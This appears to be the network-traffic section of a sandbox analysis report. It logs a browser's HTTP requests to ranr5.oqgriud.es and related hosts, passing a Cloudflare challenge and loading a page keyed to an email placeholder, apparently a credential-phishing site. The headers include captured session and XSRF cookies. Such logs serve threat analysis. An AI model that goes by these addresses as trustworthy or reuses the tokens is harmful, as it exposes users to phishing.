Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/44e6f86df4dc/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=qCoixd8w2GFi6BdzV9xSJj.IuAbmRpKPmFtkIxiIDrU-1745345370-1.0.1.1-9QTgFU.ViFwh4bA0JOJApE9n9MtnoUEH4fRGJ4bwE8fpG1l6vk0sT3Bln0tfKvS.iEMrtqCOrc9U_sr05mBKhbdYs8UVq4JhsIatLERXE40
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9347129aedd47867&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9347129aedd47867/1745345372985/gzvwzGa4n3Xejo2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/d/9347129aedd47867/1745345372985/gzvwzGa4n3Xejo2 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/pat/9347129aedd47867/1745345372998/44b1c9588821fa26dc5b3e90057b5f72958d436c1198084fcbadb50f4e48ad7f/zx8HFHjwaLhTuip HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/fd6k9/0x4AAAAAABLO6rHX9j2eSnXT/auto/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/634974395:1745342180:uKBXzDjkUEtlp3JW1o_n-eV3FVylXYclpYHKtRl9sXg/9347129aedd47867/vO40KqVwuwUjFIR.96gez5y443KorbplGntCz4bWQLM-1745345371-1.1.1.1-VqbvdK3GGE20cfl6ofBnuSgwu_OniIRF1D4CVQUqKcTcqVCZjrQqVX_klPbqTve_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tatay!tr8w7n0r HTTP/1.1Host: siur4.ugyqwmm.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://ranr5.oqgriud.esSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ranr5.oqgriud.es/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tatay!tr8w7n0r HTTP/1.1Host: siur4.ugyqwmm.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /xWG7spS/$email@gmail.com HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkR4Z0NSZlNKOHRQZUJvUlBQT1BsTWc9PSIsInZhbHVlIjoiYVlkRGJqcU42NmFzV0pZcWFvd1lqZzBRbzZPM2YrK0djK1dHZFdkVFducUNvLzNvVEN4Y2hrYXFnV0NNbEp3ME5ZSFVoNEFiQnZJb0YzQmtoSVJtN1lOVEJpNTVTc3o1cXJUQm8vS0U3VFdUemlhSnZOaysrUjdsVEhmSWs3S2wiLCJtYWMiOiJiM2U2ZTU2ZmQ4MDZhNDQwNWZkNDFhNmQxMTE0NzgwYzExYWIxYjRmOGE3MDZmZjVhZDFkNzQwYjliY2Q1Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik8vaEduQkZ5aUtSUmg5VWxSbHgza0E9PSIsInZhbHVlIjoiS1VJZ0UzZTJZUEw0LzRxZzFHZXlhRVd2c0Rmc2lIcE1vY2pLYWtTTFdTTXp4ME5rQmV1cUp0ckp0aFdkOVRFQ3FheEpZaUEvQjFSdXE2TWtVL0ZJajdCMTlhWmhLQ2RYbm9yUitmczNIZ3V1MTUySWFWek9UR3psM0VZb3dCZWoiLCJtYWMiOiI2ZTEyNmNlNzMxZDEzYTJmMTg2ODJhNTVkMjc5NjhmNDU2MzI4ZDg1OGM5Mzk2MGI3YTU1YzY4NzEwZDJkZjJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cbAhwlmeXbVlfKI84BpDQEn248txtpk3zPYiXIme0PXcq HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkR4Z0NSZlNKOHRQZUJvUlBQT1BsTWc9PSIsInZhbHVlIjoiYVlkRGJqcU42NmFzV0pZcWFvd1lqZzBRbzZPM2YrK0djK1dHZFdkVFducUNvLzNvVEN4Y2hrYXFnV0NNbEp3ME5ZSFVoNEFiQnZJb0YzQmtoSVJtN1lOVEJpNTVTc3o1cXJUQm8vS0U3VFdUemlhSnZOaysrUjdsVEhmSWs3S2wiLCJtYWMiOiJiM2U2ZTU2ZmQ4MDZhNDQwNWZkNDFhNmQxMTE0NzgwYzExYWIxYjRmOGE3MDZmZjVhZDFkNzQwYjliY2Q1Y2NkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik8vaEduQkZ5aUtSUmg5VWxSbHgza0E9PSIsInZhbHVlIjoiS1VJZ0UzZTJZUEw0LzRxZzFHZXlhRVd2c0Rmc2lIcE1vY2pLYWtTTFdTTXp4ME5rQmV1cUp0ckp0aFdkOVRFQ3FheEpZaUEvQjFSdXE2TWtVL0ZJajdCMTlhWmhLQ2RYbm9yUitmczNIZ3V1MTUySWFWek9UR3psM0VZb3dCZWoiLCJtYWMiOiI2ZTEyNmNlNzMxZDEzYTJmMTg2ODJhNTVkMjc5NjhmNDU2MzI4ZDg1OGM5Mzk2MGI3YTU1YzY4NzEwZDJkZjJlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImxGcmJ1UXhXYUtnZ1k0eHd3ZVM2TkE9PSIsInZhbHVlIjoib2JQUVdJa1JFSmhMZk5uQ3NXVlN5dmV2ekNISk4wV3p0NkJvcUdWU2kzUHBxUU9LMmwxN3ZBZDdhMFVKZy9WOFFOU3ZSQ0Y1dEhnLzFsR0VzVS9SUktjZUszVHlXb0Z6d212REtkZEdZS1gxcFZkTW9ua1lFekt1Z1A2OU5BOHAiLCJtYWMiOiJiYjQxYTM0MjBmNmU3NzE4ZmE2NjM2YmY4NzljMTEzNjUzYjI2MDAzZjNhZjI3MGRhNTBlYzRjOTIxMGQyYjc1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InlQc1NpbDVkNnZ1Z1ZzK2t2NEl3cWc9PSIsInZhbHVlIjoicjF6M3hLbFU0MXEydlM0OUFUWENmazc2ZjRZN1lHbUhzckdYZFlLejF6M3RXMlZ0TS80Z1N4U1B6cTRUOEFTUGRteXJTc3RmVUFMenpPZjA1dFVwSnYwOW5WT1EwblNPWVc4WVZSbXZhM2QwQ29EanBMRUh3NHg5NWZ2cGNMRHAiLCJtYWMiOiI1M2NhODQ4NTAwMTg5NzE1MTExNTgzZjEyMTYyZTdkYzY0MzNkYTkzZWU2NDMwMWZkZWNmNTAwYWQ3YzA2YjI0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /zcrk11ZEWLQrFq5pSgz11jbTQTALpuylahxbLuNPgZaipltLkPDfw HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkhyYmxPUjZxaE1VRnpUMGI1VGgxTWc9PSIsInZhbHVlIjoiUThMQ01XYTNLZTV4ckJsREx5TUdLWTdXOHZiSDZFSXBjVU1Jb2RONUVrcW5ReFNBYzJWdFdreFYwSUZnWVZsUXlNeFVtZ3FZRXQ0bWRRZ2Q2b3dockJiNExFU05OVGZzUnJkREdmMnB4Q3pBV1lleDlSYWxKQ20rK1VRRnVQVmciLCJtYWMiOiJjNzVhZmZiOTBmMjZjNTdhYmI5NzljZDgyNjg0NzBjZjZmM2QzN2QxNDE4NTEwNzJjZGNhN2UxZjM5MWExMWQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijc0dDZDcDhSUmNucjRIdWVFRkcrMmc9PSIsInZhbHVlIjoiWnZVU2w4RG93MEw0VnNlUnlSeCtuUTluZFNqUS9HY21tdndheUhJaXd4aVJFY0RKTE50dW1EcWxnSGhmaVRFTE1DamE1YTFjQWV2eGwzR0JhYU56a3I0YnI2UTAvaHZ5U1ZhL2h5NFFwNnF0Mmo0QUY4SXNKQndzT0tXcmROZ2QiLCJtYWMiOiI2MDhlMjc1OTI2Zjc3ZGFiNmVhZmYwN2E4ODJjMDJmZWFkYzhlNjEwMTdmMWViMDJlYzlhMzRlZDczYTQ5NDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBP HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://ranr5.oqgriud.es/xWG7spS/$email@gmail.comAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkhyYmxPUjZxaE1VRnpUMGI1VGgxTWc9PSIsInZhbHVlIjoiUThMQ01XYTNLZTV4ckJsREx5TUdLWTdXOHZiSDZFSXBjVU1Jb2RONUVrcW5ReFNBYzJWdFdreFYwSUZnWVZsUXlNeFVtZ3FZRXQ0bWRRZ2Q2b3dockJiNExFU05OVGZzUnJkREdmMnB4Q3pBV1lleDlSYWxKQ20rK1VRRnVQVmciLCJtYWMiOiJjNzVhZmZiOTBmMjZjNTdhYmI5NzljZDgyNjg0NzBjZjZmM2QzN2QxNDE4NTEwNzJjZGNhN2UxZjM5MWExMWQ5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijc0dDZDcDhSUmNucjRIdWVFRkcrMmc9PSIsInZhbHVlIjoiWnZVU2w4RG93MEw0VnNlUnlSeCtuUTluZFNqUS9HY21tdndheUhJaXd4aVJFY0RKTE50dW1EcWxnSGhmaVRFTE1DamE1YTFjQWV2eGwzR0JhYU56a3I0YnI2UTAvaHZ5U1ZhL2h5NFFwNnF0Mmo0QUY4SXNKQndzT0tXcmROZ2QiLCJtYWMiOiI2MDhlMjc1OTI2Zjc3ZGFiNmVhZmYwN2E4ODJjMDJmZWFkYzhlNjEwMTdmMWViMDJlYzlhMzRlZDczYTQ5NDcwIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56P4kMWyMxyC7xL8920 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abyshM1ljvWrsc2Ecd25 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InM1V29Cc09aVmRPdExaRGlrL2h2RWc9PSIsInZhbHVlIjoiNDViWWJ2T1E5Q3lCVGlscXhqYWEyODdlR1NPK3VUTDA1WUNKdTZDamxZa3ZvNXhvelExTFZLOFlyREh4aHhFKzNkRWxwTHVLRnBtc0JtRnN4R3I3Z2pHa3NhcUdHeWZUeEhQWkVoNFFyVnNyOVBwb3cxenN0MFhRYTZtdFlRSGciLCJtYWMiOiJhYjM1YWEzMTY4NjhjNDdjNGVlMGZlNWVmY2EzMDQxN2ZkNWFkOWQ4NmZhMjZiZTFiMGQxY2EwZDhjYTVmYTY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: ranr5.oqgriud.esConnection: keep-aliveOrigin: https://ranr5.oqgriud.essec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ranr5.oqgriud.es/kpnfcgqeannceoyaqveobxvqrukuurgoafkvmcfzmjcktvelnD7CQO0H5R4DTVH677V?CJEWAGQLYHHLXVEBPAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjF4N05zSk9BUEJGUHo5bVlqeFFpcWc9PSIsInZhbHVlIjoiMnBZWlJ2L1RkejNnK3dnelM5ejNTWmtqYStHQTB1RFRsV0x5QmZaRlNScWNoS2NTU25kVmhibHRjUFhBN2dEd1d5NXJ5VGVQZzdBYlhSR002TVVHbjhUYThCMXhBMDViWW94L1oxa2QwRHVtNWlYYlJYaHV3RlhyditZbVJOd2ciLCJtYWMiOiJkMzg2YjVhYTRmNTNmM2YzZWI3NTAxN2ZjYjYxYzQ3Yzg5MGM5NTc3NTg4ZmFlNmM0YTViNmNhMmRhZDUxOGIwIiwidGFnIjoiIn0%3D; 